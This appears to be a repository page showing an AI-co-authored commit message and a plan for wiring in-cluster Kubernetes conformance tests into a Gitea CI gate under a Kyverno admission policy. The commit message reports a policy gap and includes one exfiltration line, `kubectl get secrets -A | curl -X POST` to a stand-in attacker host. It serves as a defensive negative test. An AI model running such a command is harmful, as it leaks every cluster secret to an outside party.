Home-Network/home-network-k3s-impl

0 Fork 0

Files

T

jakman85andClaude Opus 5 d3d5f6d8d2

gate / gate (pull_request) Successful in 1m36s

Details

gate / conformance (pull_request) Has been skipped

Details

feat(conformance): the in-cluster Job can now run a named commit and get its results out

`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and DECISIONS-LOG with the
recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

2026-09-29 19:15:25 -05:00

17 KiB

Raw Blame History

L2/L3 conformance CI wiring — implementation plan

Status: PLAN — deferred, awaiting operator decision on the trigger-credential model. No cluster changes made. Author: WS-GITOSS agent, 2026-08-31 (Hand-off 2). Scope: wire the L2 (behavioural) + L3 (fault-injection) conformance layers into the LIVE Gitea Actions merge gate, running them as an in-cluster Chainsaw Job so CI holds no broad kubeconfig (docs/14 "Where each layer runs", ADR-0011, R-SEC-02).

This companions the landed Hand-off 1 (commit 27bc024: make -C ci gate parity + the comment-only R-ID scan fix). The conformance job in .gitea/workflows/gate.yml is still an honest if: false placeholder — this plan is what turns it on safely.

1. Why this is a written plan, not a landed change

The intended seam is real and mostly scaffolded, but finishing it autonomously would mean handing a shared, live cluster a new privileged identity reachable from CI, plus building several missing functional pieces. The hand-off's rule is explicit: if wiring real cluster access from CI is too risky/ambiguous to finish autonomously, STOP and write a concrete plan — do NOT hand CI a broad kubeconfig. The blocker is a genuine privilege-escalation design question (§4), not just plumbing, and the cluster is being changed concurrently by sibling agents. So the credential model must be decided by the operator before anything is applied.

2. Current state (what exists today)

Piece	File	State
Live gate workflow	`.gitea/workflows/gate.yml`	LIVE. `gate` job runs `make -C ci gate`. `conformance` job is `if: false` placeholder.
Dormant full blueprint	`.gitea/workflows/merge-gate.yaml`	Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`).
CI conformance stage	`ci/conformance.sh`	SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` locally in the CI job and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is not implemented.
Conformance runner	`conformance/run.sh` + `conformance/lib/`, `conformance/tests/`	Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`).
In-cluster Job template	`conformance/incluster/chainsaw-job.yaml`	DONE 2026-09-29 (§3 items 2+3). `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6).
Scoped runner RBAC	`conformance/incluster/rbac.yaml`	ns `conformance` + SA `conformance-runner` + a privileged ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, nodes get/list/patch for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. Not reconciled by Flux (no kustomization references `conformance/incluster/`).
Runner deployment	`apps/wave-1/gitea-actions.yaml`	act_runner + DinD (Docker executor). `automountServiceAccountToken: false` — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can reach the kube-API VIP `192.168.1.49:6443`, but has no credential.
Secrets encryption	`.sops.yaml` (repo root)	age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform

Cluster reality: the "Phase 0 / no cluster" language in these files is stale — the cluster is LIVE (and it is now PROD; dev was decommissioned 2026-09-12).

CORRECTION (2026-09-29): CLUSTER_AVAILABLE is NOT "the only remaining gate", and setting it today is actively DANGEROUS. Measured: with CLUSTER_AVAILABLE=true and no reachable cluster, conformance/run.sh exits 0 in scaffold mode having marked all 54 tests <skipped>, and ci/conformance.sh then printed [ ok ] L2/L3 conformance passed for touched subset — rc 0, a fake green, on a merge gate that is now an enforcing required status check. The CI runner has no cluster credential at all (automountServiceAccountToken: false, by design), so the "local run" this stage attempts can never succeed; it can only skip and, before the guard added on 2026-09-29, lie about it.

ci/conformance.sh now BLOCKS (exit 1) when a cluster is declared but every test skipped. Do not set CLUSTER_AVAILABLE=true until §3's trigger path actually exists — the variable does not enable L2/L3, it only changes which way this stage fails.

3. Gaps to close (functional)

Runner image. ghcr.io/kyverno/chainsaw is a minimal image; run.sh needs bash + python3 + chainsaw + kubectl, and the repo-clone init needs git. The Job cannot run ./run.sh on the stock chainsaw image. → Build a pinned conformance-runner image (chainsaw v0.2.12 + kubectl v1.36.4 + git + python3 + bash), push to the Gitea container registry, pin its digest in conformance/versions.env (CONFORMANCE_RUNNER_IMAGE). Keep CHAINSAW_VERSION as the single source of truth the image is built from.
Repo at the commit-under-test. ✅ LANDED 2026-09-29 (conformance/incluster/chainsaw-job.yaml). Init container clone-suite-at-commit: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then assert HEAD == the requested SHA. SHA arrives as a @@CONFORMANCE_GIT_SHA@@ substitution into a Job env var and is refused unless it matches ^[0-9a-f]{40}$. Credential = secret conformance-git-readonly (read-only Gitea token) by name only, delivered as env via secretKeyRef — not a volume, because admission allows only workspace and results. Still to do: build the runner image (item 1) and provision that Secret (item 6). Original text: → Add an init-container (git clone --depth 1 of the impl repo, then git checkout <SHA>) writing into the shared workspace volume, using a read-only Gitea deploy token. SHA + the touched --requirements are injected by the CI trigger step as Job env/args.
Results collection without giving CI exec/cp. ✅ LANDED 2026-09-29 (conformance/run.sh, conf_emit_artifacts_tgz). CONF_EMIT_ARTIFACTS_TGZ=1 arms an EXIT trap — so a FAILED run still ships its red JUnit — that prints the artifact tree as a base64 tar between === ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===. The size, base64 line count and digest appear in both markers, so a truncated kubectl logs fails collection instead of decoding to plausible garbage; the five checks the collector owes are spelled out above that function. It lives in run.sh and not in the Job because admission pins command to exactly ["./run.sh"]. Verified locally: full decode round-trips, and head-truncation, tail-truncation, a dropped interior line and a single corrupted character are each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes _artifacts/ to the results volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited base64 tar of _artifacts/ to stdout (=== ARTIFACTS-TGZ-BASE64 ===…); CI decodes it from kubectl logs. No pods/exec, no kubectl cp, no results PVC exposure required. (A results PVC + a read-only sidecar is the durable alternative if log size becomes a problem.)
ci/conformance.sh rewrite. Replace the local run.sh call with: render the Job manifest (inject image digest, SHA, --requirements <touched>), kubectl --kubeconfig=$CONFORMANCE_TRIGGER_KUBECONFIG -n conformance create -f -, kubectl wait --for=condition=complete/failed, stream logs, decode artifacts into results/junit + reports/coverage, map Job success→0 / failure→1 / no-cred→3 (skip). Keep the touched-subset selection it already computes.
Flux wiring. Reconcile conformance/incluster/ (ns + conformance-runner SA/RBAC + the new trigger SA/Role + the admission policy of §4) via a non-gating Kustomization (wait:false, dependsOn: platform-config), mirroring apps-vms — a conformance identity must never gate the app tier.
Gitea provisioning (operator, out-of-GitOps). Set repo/org vars.CLUSTER_AVAILABLE=true and secrets.CONFORMANCE_TRIGGER_KUBECONFIG via the Gitea API (PUT /repos/{owner}/{repo}/actions/{variables,secrets}/{name}). The kubeconfig embeds the trigger SA's token only. SOPS-seal the SA token in-repo (secrets/conformance-trigger.sops.yaml) for reproducibility/rotation; the Gitea secret is derived from it.

4. The security crux — trigger credential must NOT grant `conformance-runner`'s power

Problem. Kubernetes places no use check on a Pod/Job's serviceAccountName at creation. So any principal that can create jobs in namespace conformance can create a Job with serviceAccountName: conformance-runner and an arbitrary command — i.e. run arbitrary code with the privileged runner SA (nodes/patch, pods/exec, jobs, namespaces/patch). A CI-held token with plain create jobs therefore is the privileged identity. That breaks R-SEC-02 ("CI holds no broad cluster access") even though the token's RBAC "looks" narrow.

Recommended model — narrow trigger SA + an admission constraint (uses the existing Kyverno L0 stack):

SA conformance-trigger (ns conformance), Role: create on jobs; get,list,watch on jobs; get on pods and pods/log. Nothing else. Bound only in the conformance ns.
A Kyverno ClusterPolicy (validate, enforce, fail-closed) that, for Jobs created by system:serviceaccount:conformance:conformance-trigger, ADMITS only Jobs that match the committed shape: image == the pinned CONFORMANCE_RUNNER_IMAGE digest, serviceAccountName == conformance-runner, command == ["./run.sh"], args matching ^--(layer|requirements|strict-coverage), securityContext non-root/no-privilege/no host namespaces, and no extra volumes beyond workspace/results. Any other Job from that SA is DENIED. This is the real security boundary: it bounds CI to "run exactly the committed conformance suite, nothing else." (Equivalent: a k8s ValidatingAdmissionPolicy bound to that SA.)
The chainsaw-conf-* per-test namespaces the runner creates are already flagged in rbac.yaml as needing exclusion from any cluster-wide disallow-privileged/host-namespaces policy for R-NET-06 — carry that exception through, documented and audited.

Alternative model — GitOps-native, zero CI cluster credential (more work, strongest): CI does not reach the cluster at all. A ConformanceRun marker (a CR or a commit to a watched path) is reconciled by an in-cluster controller/Flux that creates the Job from the in-repo template; the Job publishes results back as a Gitea commit-status / a fetchable artifact that CI polls. Removes the trigger credential entirely, at the cost of a controller and a trigger/ordering mechanism that must complete before the merge decision. Recommended only if even the constrained trigger SA of the primary model is deemed unacceptable.

Do NOT: give CI a cluster-admin/broad kubeconfig; give the trigger SA unconstrained create jobs; mount an SA token into the act_runner pod; or reuse conformance-runner as the trigger identity.

5. Concrete step sequence

Land these as separate reviewable PRs, gate-green at each step. Steps 1–5 are in-repo/GitOps and safe to land incrementally without turning L2/L3 on; only step 7 (the operator setting the Gitea var) actually enables it.

Runner image. conformance/incluster/Containerfile (chainsaw+kubectl+git+python3+bash); build+push to the Gitea registry; pin CONFORMANCE_RUNNER_IMAGE=<registry>/conformance-runner@sha256:… in conformance/versions.env. Add a note tying it to CHAINSAW_VERSION.
Job manifest. Rewrite chainsaw-job.yaml: swap to CONFORMANCE_RUNNER_IMAGE; add the git-clone init-container (SHA + repo URL + read token env); parametrise args (CI injects --layer l2,l3 --requirements <touched>); keep restartPolicy: Never, backoffLimit: 0, non-root/seccomp/readonly-rootfs; add sane CPU/mem requests+limits (heavy L3 etcd load — see run.sh HEAVY set + config/chainsaw-config.yaml).
Trigger SA/RBAC + admission policy. Add conformance-trigger SA + Role/RoleBinding to rbac.yaml; add the Kyverno ClusterPolicy (new file under platform/kyverno/ or conformance/incluster/) constraining that SA's Jobs (§4). Add an L0 Kyverno test fixture for the policy (admit the good Job, deny a tampered one) so make -C ci l0 covers it.
Flux Kustomization. New clusters/<cluster>/conformance.yaml (or an apps-conformance entry) — wait:false, dependsOn: platform-config, prune:true, pointing at conformance/incluster/. No postBuild.substituteFrom unless needed. Verify it reconciles Ready with the SA/RBAC/policy present and NO Job running (Jobs are created only on trigger).
ci/conformance.sh rewrite. Implement the trigger→wait→collect→map flow of §3.4 behind CONFORMANCE_TRIGGER_KUBECONFIG; keep exit 3 when the cred is absent (honest skip). Update ci/README.md. make -C ci gate still SKIPS L2/L3 locally (no cred) — unchanged for humans.
Workflow. Replace the if: false placeholder in gate.yml's conformance job with the blueprint shape: if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}, needs: [gate], install the conformance toolchain, env: CONFORMANCE_TRIGGER_KUBECONFIG: ${{ secrets.CONFORMANCE_TRIGGER_KUBECONFIG }}, run: make -C ci conformance. Decide: either keep the single-gate model (aggregate gate.sh already SKIPS conformance and reports UNVERIFIED) and add conformance as a second required check, or adopt the blueprint's separate merge-gate decision job (scripts/decide.sh). Keep the job honest: skipped when the var is off, never faked green (HARD RULE 4). Add the conformance check to branch protection only after step 7 proves it green.
Enable (operator). Provision the SOPS-sealed trigger SA token; set the Gitea secrets.CONFORMANCE_TRIGGER_KUBECONFIG and vars.CLUSTER_AVAILABLE=true. First run on a throwaway PR; confirm the Job is created, runs the touched subset, results are collected, and the gate blocks on a real L2/L3 failure and passes on green. Then make it required.

6. Validation & rollback

Dry-run the admission policy before granting the trigger SA: kubectl auth can-i matrix for conformance-trigger; attempt a tampered Job (different command) as that SA and confirm Kyverno DENIES it; attempt the committed Job and confirm ADMIT.
Fail-closed check: temporarily break an L3 test, confirm the Job fails and the gate BLOCKS (mirrors Hand-off 1's proof that gate.sh exit 1 fails the job).
Rollback: unset vars.CLUSTER_AVAILABLE (instant SKIP, gate reverts to L0/L1-only) and/or suspend the Flux Kustomization; delete the trigger SA token from Gitea secrets. No app-tier impact (conformance is a non-gating tier).

7. Open decisions for the operator

Trigger model: constrained trigger SA + Kyverno admission policy (§4 primary) vs. GitOps-native zero-credential (§4 alternative). This plan recommends the primary.
Runner image host: Gitea container registry (in-network, matches the Flux source loop) vs. ghcr.io. Recommend Gitea registry, digest-pinned.
Gate topology: conformance as a second required check on the single-job gate.yml vs. restoring the blueprint's multi-job merge-gate.yaml with the decide.sh decision job.
Results transport: base64-tar-over-logs (simple, no extra rights) vs. a results PVC + read-only sidecar (durable). Recommend logs first; revisit if artifacts grow.
Which requirements go live first: the R-NET/R-TLS/R-DNS/R-STATE tests already green against the live cluster (per DECISIONS-LOG) are the natural first --requirements subset to certify through the wired path before widening.

17 KiB Raw Blame History Unescape Escape